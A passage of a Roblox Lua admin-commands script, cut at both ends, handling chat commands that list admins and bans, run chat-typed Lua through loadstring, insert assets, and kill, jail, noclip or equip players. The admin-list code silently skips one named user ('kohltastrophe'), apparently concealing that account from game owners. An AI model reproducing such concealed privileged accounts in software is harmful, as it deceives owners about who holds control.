  478. if plr.userId == game.CreatorId or ChkOwner(plr.Name) then for i, v in pairs(ost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "-- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  479. if plr.userId == game.CreatorId then for i, v in pairs(tost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "_ " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  480. end
  481.  
  482. if msg:lower() == "version" then Message("Version", script.Version.Value, true, plr) end
  483.  
  484. if msg:lower() == "admins" or msg:lower() == "adminlist" then
  485. if plr.PlayerGui:findFirstChild("ADMINSGUI") then return end
  486. local scr, cmf, ent, num = ScrollGui() scr.Name = "ADMINSGUI" scr.Parent = plr.PlayerGui
  487. for i, v in pairs(owners) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Owner" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  488. for i, v in pairs(admins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Admin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  489. for i, v in pairs(tempadmins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - TempAdmin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  490. end end
  491.  
  492. if msg:lower() == "bans" or msg:lower() == "banlist" or msg:lower() == "banned" then
  493. if plr.PlayerGui:findFirstChild("BANSGUI") then return end
  494. local scr, cmf, ent, num = ScrollGui() scr.Name = "BANSGUI" scr.Parent = plr.PlayerGui
  495. for i, v in pairs(banland) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  496. end
  497.  
  498. if msg:lower() == "tools" or msg:lower() == "toollist" then
  499. if plr.PlayerGui:findFirstChild("TOOLSGUI") then return end
  500. local scr, cmf, ent, num = ScrollGui() scr.Name = "TOOLSGUI" scr.Parent = plr.PlayerGui
  501. for i, v in pairs(game.Lighting:children()) do if v:IsA("Tool") or v:IsA("HopperBin") then local cl = ent:Clone() cl.Parent = cmf cl.Text = v.Name cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  502. end
  503.  
  504. if msg:lower():sub(1,2) == "s " then
  505. coroutine.resume(coroutine.create(function()
  506. Output(msg:sub(3), plr)
  507. if script:findFirstChild("ScriptBase") then
  508. local cl = script.ScriptBase:Clone() cl.Code.Value = msg:sub(3)
  509. table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  510. else loadstring(msg:sub(3))()
  511. end
  512. end))
  513. end
  514.  
  515. if msg:lower():sub(1,3) == "ls " then
  516. coroutine.resume(coroutine.create(function()
  517. if script:findFirstChild("LocalScriptBase") then
  518. local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(4)
  519. table.insert(objects, cl) cl.Parent = plr.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
  520. end
  521. end))
  522. end
  523.  
  524. if msg:lower():sub(1,4) == "ins " then
  525. coroutine.resume(coroutine.create(function()
  526. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(5)))
  527. if obj and #obj:children() >= 1 and plr.Character then
  528. table.insert(objects, obj) for i,v in pairs(obj:children()) do table.insert(objects, v) end obj.Parent = game.Workspace obj:MakeJoints() obj:MoveTo(plr.Character:GetModelCFrame().p)
  529. end
  530. end))
  531. end
  532.  
  533. if msg:lower() == "clr" or msg:lower() == "clear" or msg:lower() == "clearscripts" then
  534. for i, v in pairs(objects) do if v:IsA("Script") or v:IsA("LocalScript") then v.Disabled = true end v:Destroy() end
  535. objects = {}
  536. end
  537.  
  538. if msg:lower() == "fix" or msg:lower() == "undisco" or msg:lower() == "unflash" then
  539. game.Lighting.Ambient = origsettings.abt
  540. game.Lighting.Brightness = origsettings.brt
  541. game.Lighting.TimeOfDay = origsettings.time
  542. game.Lighting.FogColor = origsettings.fclr
  543. game.Lighting.FogEnd = origsettings.fe
  544. game.Lighting.FogStart = origsettings.fs
  545. for i, v in pairs(lobjs) do v:Destroy() end
  546. for i, v in pairs(game.Workspace:children()) do if v.Name == "LightEdit" then v:Destroy() end end
  547. end
  548.  
  549. if msg:lower() == "cmdbar" or msg:lower() == "cmdgui" then
  550. coroutine.resume(coroutine.create(function()
  551. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  552. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  553. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  554. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  555. end))
  556. end
  557.  
  558. if msg:lower():sub(1,2) == "m " then
  559. Message("Message from " .. plr.Name, msg:sub(3), true, game.Players:children())
  560. end
  561.  
  562. if msg:lower():sub(1,2) == "h " then
  563. Hint(plr.Name .. ": " .. msg:sub(3), game.Players:children())
  564. end
  565.  
  566. if msg:lower():sub(1,3) == "pm " then
  567. local chk1 = msg:lower():sub(4):find(" ") + 3
  568. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  569. Message("Private Message from " .. plr.Name, msg:sub(chk1+1), true, plrz)
  570. end
  571.  
  572. if msg:lower():sub(1,11) == "resetstats " then
  573. local plrz = GetPlr(plr, msg:lower():sub(12))
  574. for i, v in pairs(plrz) do
  575. coroutine.resume(coroutine.create(function()
  576. if v and v:findFirstChild("leaderstats") then
  577. for a, q in pairs(v.leaderstats:children()) do
  578. if q:IsA("IntValue") then q.Value = 0 end
  579. end
  580. end
  581. end))
  582. end
  583. end
  584.  
  585. if msg:lower():sub(1,5) == "gear " then
  586. local chk1 = msg:lower():sub(6):find(" ") + 5
  587. local plrz = GetPlr(plr, msg:lower():sub(6, chk1-1))
  588. for i, v in pairs(plrz) do
  589. coroutine.resume(coroutine.create(function()
  590. if v and v.Character then
  591. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  592. for a,g in pairs(obj:children()) do if g:IsA("Tool") or g:IsA("HopperBin") then g.Parent = v.Character end end
  593. obj:Destroy()
  594. end
  595. end))
  596. end
  597. end
  598.  
  599. if msg:lower():sub(1,4) == "hat " then
  600. local chk1 = msg:lower():sub(5):find(" ") + 4
  601. local plrz = GetPlr(plr, msg:lower():sub(5, chk1-1))
  602. for i, v in pairs(plrz) do
  603. coroutine.resume(coroutine.create(function()
  604. if v and v.Character then
  605. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  606. for a,hat in pairs(obj:children()) do if hat:IsA("Hat") then hat.Parent = v.Character end end
  607. obj:Destroy()
  608. end
  609. end))
  610. end
  611. end
  612.  
  613. if msg:lower():sub(1,5) == "cape " then
  614. local chk1 = msg:lower():sub(6):find(" ")
  615. local plrz = GetPlr(plr, msg:lower():sub(6))
  616. local str = "torso.BrickColor"
  617. if chk1 then chk1 = chk1 + 5 plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  618. local teststr = [[BrickColor.new("]]..msg:sub(chk1+1,chk1+1):upper()..msg:sub(chk1+2):lower()..[[")]]
  619. if msg:sub(chk1+1):lower() == "new yeller" then teststr = [[BrickColor.new("New Yeller")]] end
  620. if msg:sub(chk1+1):lower() == "pastel blue" then teststr = [[BrickColor.new("Pastel Blue")]] end
  621. if msg:sub(chk1+1):lower() == "dusty rose" then teststr = [[BrickColor.new("Dusty Rose")]] end
  622. if msg:sub(chk1+1):lower() == "cga brown" then teststr = [[BrickColor.new("CGA brown")]] end
  623. if msg:sub(chk1+1):lower() == "random" then teststr = [[BrickColor.random()]] end
  624. if msg:sub(chk1+1):lower() == "shiny" then teststr = [[BrickColor.new("Institutional white") p.Reflectance = 1]] end
  625. if msg:sub(chk1+1):lower() == "gold" then teststr = [[BrickColor.new("Bright yellow") p.Reflectance = .4]] end
  626. if msg:sub(chk1+1):lower() == "kohl" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597653"]] end
  627. if msg:sub(chk1+1):lower() == "batman" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597669"]] end
  628. if msg:sub(chk1+1):lower() == "superman" then teststr = [[BrickColor.new("Bright blue") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597677"]] end
  629. if msg:sub(chk1+1):lower() == "swag" then teststr = [[BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474"]] end
  630. if BrickColor.new(teststr) ~= nil then str = teststr end
  631. end
  632. for i, v in pairs(plrz) do
  633. coroutine.resume(coroutine.create(function()
  634. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") then
  635. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  636. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  637. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  638. local torso = plr.Character.Torso
  639. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  640. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = ]]..str..[[ p.formFactor = "Custom"
  641. p.Size = Vector3.new(.2,.2,.2)
  642. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  643. local motor1 = Instance.new("Motor", p)
  644. motor1.Part0 = p
  645. motor1.Part1 = torso
  646. motor1.MaxVelocity = .01
  647. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  648. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  649. local wave = false
  650. repeat wait(1/44)
  651. local ang = 0.1
  652. local oldmag = torso.Velocity.magnitude
  653. local mv = .002
  654. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  655. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  656. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  657. motor1.DesiredAngle = -ang
  658. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  659. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  660. if torso.Velocity.magnitude < .1 then wait(.1) end
  661. until not p or p.Parent ~= torso.Parent
  662. script:Destroy()
  663. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  664. end
  665. end))
  666. end
  667. end
  668.  
  669. if msg:lower():sub(1,7) == "uncape " then
  670. local plrz = GetPlr(plr, msg:lower():sub(8))
  671. for i, v in pairs(plrz) do
  672. coroutine.resume(coroutine.create(function()
  673. if v and v:findFirstChild("PlayerGui") and v.Character then
  674. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  675. end
  676. end))
  677. end
  678. end
  679.  
  680. if msg:lower():sub(1,7) == "noclip " then
  681. local plrz = GetPlr(plr, msg:lower():sub(8))
  682. for i, v in pairs(plrz) do
  683. coroutine.resume(coroutine.create(function()
  684. if v and v:findFirstChild("PlayerGui") then
  685. local cl = script.LocalScriptBase:Clone() cl.Name = "NoClip" cl.Code.Value = [[repeat wait(1/44) until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer:GetMouse() and game.Workspace.CurrentCamera local mouse = game.Players.LocalPlayer:GetMouse() local torso = game.Players.LocalPlayer.Character.Torso local dir = {w = 0, s = 0, a = 0, d = 0} local spd = 2 mouse.KeyDown:connect(function(key) if key:lower() == "w" then dir.w = 1 elseif key:lower() == "s" then dir.s = 1 elseif key:lower() == "a" then dir.a = 1 elseif key:lower() == "d" then dir.d = 1 elseif key:lower() == "q" then spd = spd + 1 elseif key:lower() == "e" then spd = spd - 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then dir.w = 0 elseif key:lower() == "s" then dir.s = 0 elseif key:lower() == "a" then dir.a = 0 elseif key:lower() == "d" then dir.d = 0 end end) torso.Anchored = true game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true game.Players.LocalPlayer.Character.Humanoid.Changed:connect(function() game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true end) repeat wait(1/44) torso.CFrame = CFrame.new(torso.Position, game.Workspace.CurrentCamera.CoordinateFrame.p) * CFrame.Angles(0,math.rad(180),0) * CFrame.new((dir.d-dir.a)*spd,0,(dir.s-dir.w)*spd) until nil]]
  686. cl.Parent = v.PlayerGui cl.Disabled = false
  687. end
  688. end))
  689. end
  690. end
  691.  
  692. if msg:lower():sub(1,5) == "clip " then
  693. local plrz = GetPlr(plr, msg:lower():sub(6))
  694. for i, v in pairs(plrz) do
  695. coroutine.resume(coroutine.create(function()
  696. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  697. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "NoClip" then q:Destroy() end end
  698. v.Character.Torso.Anchored = false
  699. wait(.1) v.Character.Humanoid.PlatformStand = false
  700. end
  701. end))
  702. end
  703. end
  704.  
  705. if msg:lower():sub(1,5) == "jail " then
  706. local plrz = GetPlr(plr, msg:lower():sub(6))
  707. for i, v in pairs(plrz) do
  708. coroutine.resume(coroutine.create(function()
  709. if v and v.Character and v.Character:findFirstChild("Torso") then
  710. local vname = v.Name
  711. local cf = v.Character.Torso.CFrame + Vector3.new(0,1,0)
  712. local mod = Instance.new("Model", game.Workspace) table.insert(objects, mod) mod.Name = v.Name .. " Jail"
  713. local top = Instance.new("Part", mod) top.Locked = true top.formFactor = "Symmetric" top.Size = Vector3.new(6,1,6) top.TopSurface = 0 top.BottomSurface = 0 top.Anchored = true top.BrickColor = BrickColor.new("Really black") top.CFrame = cf * CFrame.new(0,-3.5,0)
  714. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  715. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  716. game.Players.PlayerAdded:connect(function(plr) if plr.Name == vname then v = plr end
  717. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  718. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  719. end)
  720. local bottom = top:Clone() bottom.Parent = mod bottom.CFrame = cf * CFrame.new(0,3.5,0)
  721. local front = top:Clone() front.Transparency = .5 front.Reflectance = .1 front.Parent = mod front.Size = Vector3.new(6,6,1) front.CFrame = cf * CFrame.new(0,0,-3)
  722. local back = front:Clone() back.Parent = mod back.CFrame = cf * CFrame.new(0,0,3)
  723. local right = front:Clone() right.Parent = mod right.Size = Vector3.new(1,6,6) right.CFrame = cf * CFrame.new(3,0,0)
  724. local left = right:Clone() left.Parent = mod left.CFrame = cf * CFrame.new(-3,0,0)
  725. local msh = Instance.new("BlockMesh", front) msh.Scale = Vector3.new(1,1,0)
  726. local msh2 = msh:Clone() msh2.Parent = back
  727. local msh3 = msh:Clone() msh3.Parent = right msh3.Scale = Vector3.new(0,1,1)
  728. local msh4 = msh3:Clone() msh4.Parent = left
  729. v.Character.Torso.CFrame = cf
  730. end
  731. end))
  732. end
  733. end
  734.  
  735. if msg:lower():sub(1,7) == "unjail " then
  736. local plrz = GetPlr(plr, msg:lower():sub(8))
  737. for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v then for a, jl in pairs(game.Workspace:children()) do if jl.Name == v.Name .. " Jail" then jl:Destroy() end end end end)) end
  738. end
  739.  
  740. if msg:lower():sub(1,11) == "starttools " then
  741. local plrz = GetPlr(plr, msg:lower():sub(12))
  742. for i, v in pairs(plrz) do
  743. coroutine.resume(coroutine.create(function()
  744. if v and v:findFirstChild("Backpack") then
  745. for a,q in pairs(game.StarterPack:children()) do q:Clone().Parent = v.Backpack end
  746. end
  747. end))
  748. end
  749. end
  750.  
  751. if msg:lower():sub(1,6) == "sword " then
  752. local plrz = GetPlr(plr, msg:lower():sub(7))
  753. for i, v in pairs(plrz) do
  754. coroutine.resume(coroutine.create(function()
  755. if v and v:findFirstChild("Backpack") then
  756. local sword = Instance.new("Tool", v.Backpack) sword.Name = "Sword" sword.TextureId = "rbxasset://Textures/Sword128.png"
  757. sword.GripForward = Vector3.new(-1,0,0)
  758. sword.GripPos = Vector3.new(0,0,-1.5)
  759. sword.GripRight = Vector3.new(0,1,0)
  760. sword.GripUp = Vector3.new(0,0,1)
  761. local handle = Instance.new("Part", sword) handle.Name = "Handle" handle.FormFactor = "Plate" handle.Size = Vector3.new(1,.8,4) handle.TopSurface = 0 handle.BottomSurface = 0
  762. local msh = Instance.new("SpecialMesh", handle) msh.MeshId = "rbxasset://fonts/sword.mesh" msh.TextureId = "rbxasset://textures/SwordTexture.png"
  763. local cl = script.LocalScriptBase:Clone() cl.Parent = sword cl.Code.Value = [[
  764. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
  765. local Damage = 15
  766. local SlashSound = Instance.new("Sound", script.Parent.Handle)
  767. SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
  768. SlashSound.Volume = 1
  769. local LungeSound = Instance.new("Sound", script.Parent.Handle)
  770. LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
  771. LungeSound.Volume = 1
  772. local UnsheathSound = Instance.new("Sound", script.Parent.Handle)
  773. UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
  774. UnsheathSound.Volume = 1
  775. local last = 0
  776. script.Parent.Handle.Touched:connect(function(hit)
  777. if hit and hit.Parent and hit.Parent:findFirstChild("Humanoid") and game.Players:findFirstChild(hit.Parent.Name) and game.Players.LocalPlayer.Character.Humanoid.Health > 0 and hit.Parent.Humanoid ~= game.Players.LocalPlayer.Character.Humanoid then
  778. local tag = Instance.new("ObjectValue", hit.Parent.Humanoid) tag.Value = plr1 tag.Name = "creator" game:service("Debris"):AddItem(tag, 3)
  779. hit.Parent.Humanoid:TakeDamage(Damage)
  780. end
  781. end)
  782. script.Parent.Activated:connect(function()
  783. if not script.Parent.Enabled or game.Players.LocalPlayer.Character.Humanoid.Health <= 0 then return end
  784. script.Parent.Enabled = false
  785. local tick = game:service("RunService").Stepped:wait()
  786. if tick - last <= .2 then
  787. LungeSound:play()
  788. local lunge = Instance.new("StringValue", script.Parent) lunge.Name = "toolanim" lunge.Value = "Lunge"
  789. local frc = Instance.new("BodyVelocity", game.Players.LocalPlayer.Character.Torso) frc.Name = "SwordForce" frc.velocity = Vector3.new(0,10,0)
  790. wait(.2)
  791. script.Parent.GripForward = Vector3.new(0,0,1)
  792. script.Parent.GripRight = Vector3.new(0,-1,0)
  793. script.Parent.GripUp = Vector3.new(-1,0,0)
  794. wait(.3)
  795. frc:Destroy() wait(.5)
  796. script.Parent.GripForward = Vector3.new(-1,0,0)
  797. script.Parent.GripRight = Vector3.new(0,1,0)
  798. script.Parent.GripUp = Vector3.new(0,0,1)
  799. else
  800. SlashSound:play()
  801. local slash = Instance.new("StringValue", script.Parent) slash.Name = "toolanim" slash.Value = "Slash"
  802. end
  803. last = tick
  804. script.Parent.Enabled = true
  805. end)
  806. script.Parent.Equipped:connect(function(mouse)
  807. for i,v in pairs(game.Players.LocalPlayer.Character.Torso:children()) do if v.Name == "SwordForce" then v:Destroy() end end
  808. UnsheathSound:play()
  809. script.Parent.Enabled = true
  810. if not mouse then return end
  811. mouse.Icon = "http://www.roblox.com/asset/?id=103593352"
  812. end)]] cl.Disabled = false
  813. end
  814. end))
  815. end
  816. end
  817.  
  818. if msg:lower():sub(1,5) == "kill " then
  819. local plrz = GetPlr(plr, msg:lower():sub(6))
  820. for i, v in pairs(plrz) do
  821. coroutine.resume(coroutine.create(function()
  822. if v and v.Character then v.Character:BreakJoints() end
  823. end))
  824. end
  825. end
  826.  
  827. if msg:lower():sub(1,8) == "respawn " then
  828. local plrz = GetPlr(plr, msg:lower():sub(9))
  829. for i, v in pairs(plrz) do
  830. coroutine.resume(coroutine.create(function()
  831. if v and v.Character then v:LoadCharacter() end
  832. end))
  833. end
  834. end
  835.  
  836. if msg:lower():sub(1,5) == "trip " then
  837. local plrz = GetPlr(plr, msg:lower():sub(6))
  838. for i, v in pairs(plrz) do
  839. coroutine.resume(coroutine.create(function()
  840. if v and v.Character and v.Character:findFirstChild("Torso") then
  841. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(0,0,math.rad(180))
  842. end
  843. end))
  844. end
  845. end
  846.  
  847. if msg:lower():sub(1,5) == "stun " then
  848. local plrz = GetPlr(plr, msg:lower():sub(6))
  849. for i, v in pairs(plrz) do
  850. coroutine.resume(coroutine.create(function()
  851. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  852. v.Character.Humanoid.PlatformStand = true
  853. end
  854. end))
  855. end
  856. end
  857.  
  858. if msg:lower():sub(1,7) == "unstun " then
  859. local plrz = GetPlr(plr, msg:lower():sub(8))
  860. for i, v in pairs(plrz) do
  861. coroutine.resume(coroutine.create(function()
  862. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  863. v.Character.Humanoid.PlatformStand = false
  864. end
  865. end))
  866. end
  867. end
  868.  
  869. if msg:lower():sub(1,5) == "jump " then
  870. local plrz = GetPlr(plr, msg:lower():sub(6))
  871. for i, v in pairs(plrz) do
  872. coroutine.resume(coroutine.create(function()
  873. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  874. v.Character.Humanoid.Jump = true
  875. end
  876. end))
  877. end
  878. end
  879.  
  880. if msg:lower():sub(1,4) == "sit " then
  881. local plrz = GetPlr(plr, msg:lower():sub(5))
  882. for i, v in pairs(plrz) do
  883. coroutine.resume(coroutine.create(function()
  884. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  885. v.Character.Humanoid.Sit = true
  886. end
  887. end))
  888. end
  889. end
  890.  
  891. if msg:lower():sub(1,10) == "invisible " then
  892. local plrz = GetPlr(plr, msg:lower():sub(11))
  893. for i, v in pairs(plrz) do
  894. coroutine.resume(coroutine.create(function()
  895. if v and v.Character then
  896. for a, obj in pairs(v.Character:children()) do
  897. if obj:IsA("BasePart") then obj.Transparency = 1 if obj:findFirstChild("face") then obj.face.Transparency = 1 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 1 end
  898. end
  899. end
  900. end))
  901. end
  902. end
  903.  
  904. if msg:lower():sub(1,8) == "visible " then
  905. local plrz = GetPlr(plr, msg:lower():sub(9))
  906. for i, v in pairs(plrz) do
  907. coroutine.resume(coroutine.create(function()
  908. if v and v.Character then
  909. for a, obj in pairs(v.Character:children()) do
  910. if obj:IsA("BasePart") then obj.Transparency = 0 if obj:findFirstChild("face") then obj.face.Transparency = 0 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 0 end
  911. end
  912. end
  913. end))
  914. end
  915. end
  916.  
  917. if msg:lower():sub(1,5) == "lock " then
  918. local plrz = GetPlr(plr, msg:lower():sub(6))
  919. for i, v in pairs(plrz) do
  920. coroutine.resume(coroutine.create(function()
  921. if v and v.Character then
  922. for a, obj in pairs(v.Character:children()) do
  923. if obj:IsA("BasePart") then obj.Locked = true elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = true end
  924. end
  925. end
  926. end))
  927. end
  928. end
  929.  
  930. if msg:lower():sub(1,7) == "unlock " then
  931. local plrz = GetPlr(plr, msg:lower():sub(8))
  932. for i, v in pairs(plrz) do
  933. coroutine.resume(coroutine.create(function()
  934. if v and v.Character then
  935. for a, obj in pairs(v.Character:children()) do
  936. if obj:IsA("BasePart") then obj.Locked = false elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = false end
  937. end
  938. end
  939. end))
  940. end
  941. end
  942.  
  943. if msg:lower():sub(1,8) == "explode " then
  944. local plrz = GetPlr(plr, msg:lower():sub(9))
  945. for i, v in pairs(plrz) do
  946. coroutine.resume(coroutine.create(function()
  947. if v and v.Character and v.Character:findFirstChild("Torso") then
  948. local ex = Instance.new("Explosion", game.Workspace) ex.Position = v.Character.Torso.Position
  949. end
  950. end))
  951. end
  952. end
  953.  
  954. if msg:lower():sub(1,4) == "age " then
  955. local plrz = GetPlr(plr, msg:lower():sub(5))
  956. for i, v in pairs(plrz) do
  957. coroutine.resume(coroutine.create(function()
  958. if v then Message(v.Name .. "'s age", tostring(v.AccountAge), false, {plr}) end
  959. end))
  960. end
  961. end
  962.  
  963. if msg:lower():sub(1,5) == "fire " then
  964. local plrz = GetPlr(plr, msg:lower():sub(6))
  965. for i, v in pairs(plrz) do
  966. coroutine.resume(coroutine.create(function()
  967. if v and v.Character and v.Character:findFirstChild("Torso") then
  968. local cl = Instance.new("Fire", v.Character.Torso) table.insert(objects, cl)
  969. end
  970. end))
  971. end
  972. end
  973.  
  974. if msg:lower():sub(1,7) == "unfire " then
  975. local plrz = GetPlr(plr, msg:lower():sub(8))
  976. for i, v in pairs(plrz) do
  977. coroutine.resume(coroutine.create(function()
  978. if v and v.Character and v.Character:findFirstChild("Torso") then
  979. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Fire") then cl:Destroy() end end
  980. end
  981. end))
  982. end
  983. end
  984.  
  985. if msg:lower():sub(1,6) == "smoke " then
  986. local plrz = GetPlr(plr, msg:lower():sub(7))
  987. for i, v in pairs(plrz) do
  988. coroutine.resume(coroutine.create(function()
  989. if v and v.Character and v.Character:findFirstChild("Torso") then
  990. local cl = Instance.new("Smoke", v.Character.Torso) table.insert(objects, cl)
  991. end
  992. end))
  993. end
  994. end
  995.  
  996. if msg:lower():sub(1,8) == "unsmoke " then
  997. local plrz = GetPlr(plr, msg:lower():sub(9))
  998. for i, v in pairs(plrz) do
  999. coroutine.resume(coroutine.create(function()
  1000. if v and v.Character and v.Character:findFirstChild("Torso") then
  1001. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Smoke") then cl:Destroy() end end
  1002. end
  1003. end))
  1004. end
  1005. end
  1006.  
  1007. if msg:lower():sub(1,9) == "sparkles " then
  1008. local plrz = GetPlr(plr, msg:lower():sub(10))
  1009. for i, v in pairs(plrz) do
  1010. coroutine.resume(coroutine.create(function()
  1011. if v and v.Character and v.Character:findFirstChild("Torso") then
  1012. local cl = Instance.new("Sparkles", v.Character.Torso) table.insert(objects, cl)
  1013. end
  1014. end))
  1015. end
  1016. end
  1017.  
  1018. if msg:lower():sub(1,11) == "unsparkles " then
  1019. local plrz = GetPlr(plr, msg:lower():sub(12))
  1020. for i, v in pairs(plrz) do
  1021. coroutine.resume(coroutine.create(function()
  1022. if v and v.Character and v.Character:findFirstChild("Torso") then
  1023. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Sparkles") then cl:Destroy() end end
  1024. end
  1025. end))
  1026. end
  1027. end
  1028.  
  1029. if msg:lower():sub(1,3) == "ff " then
  1030. local plrz = GetPlr(plr, msg:lower():sub(4))
  1031. for i, v in pairs(plrz) do
  1032. coroutine.resume(coroutine.create(function()
  1033. if v and v.Character then Instance.new("ForceField", v.Character) end
  1034. end))
  1035. end
  1036. end
  1037.  
  1038. if msg:lower():sub(1,5) == "unff " then
  1039. local plrz = GetPlr(plr, msg:lower():sub(6))
  1040. for i, v in pairs(plrz) do
  1041. coroutine.resume(coroutine.create(function()
  1042. if v and v.Character then
  1043. for z, cl in pairs(v.Character:children()) do if cl:IsA("ForceField") then cl:Destroy() end end
  1044. end
  1045. end))
  1046. end
  1047. end
  1048.  
  1049. if msg:lower():sub(1,7) == "punish " then
  1050. local plrz = GetPlr(plr, msg:lower():sub(8))
  1051. for i, v in pairs(plrz) do
  1052. coroutine.resume(coroutine.create(function()
  1053. if v and v.Character then
  1054. v.Character.Parent = game:service("Lighting")
  1055. end
  1056. end))
  1057. end
  1058. end
  1059.  
  1060. if msg:lower():sub(1,9) == "unpunish " then
  1061. local plrz = GetPlr(plr, msg:lower():sub(10))
  1062. for i, v in pairs(plrz) do
  1063. coroutine.resume(coroutine.create(function()
  1064. if v and v.Character then
  1065. v.Character.Parent = game:service("Workspace")
  1066. v.Character:MakeJoints()
  1067. end
  1068. end))
  1069. end
  1070. end
  1071.  
  1072. if msg:lower():sub(1,7) == "freeze " then
  1073. local plrz = GetPlr(plr, msg:lower():sub(8))
  1074. for i, v in pairs(plrz) do
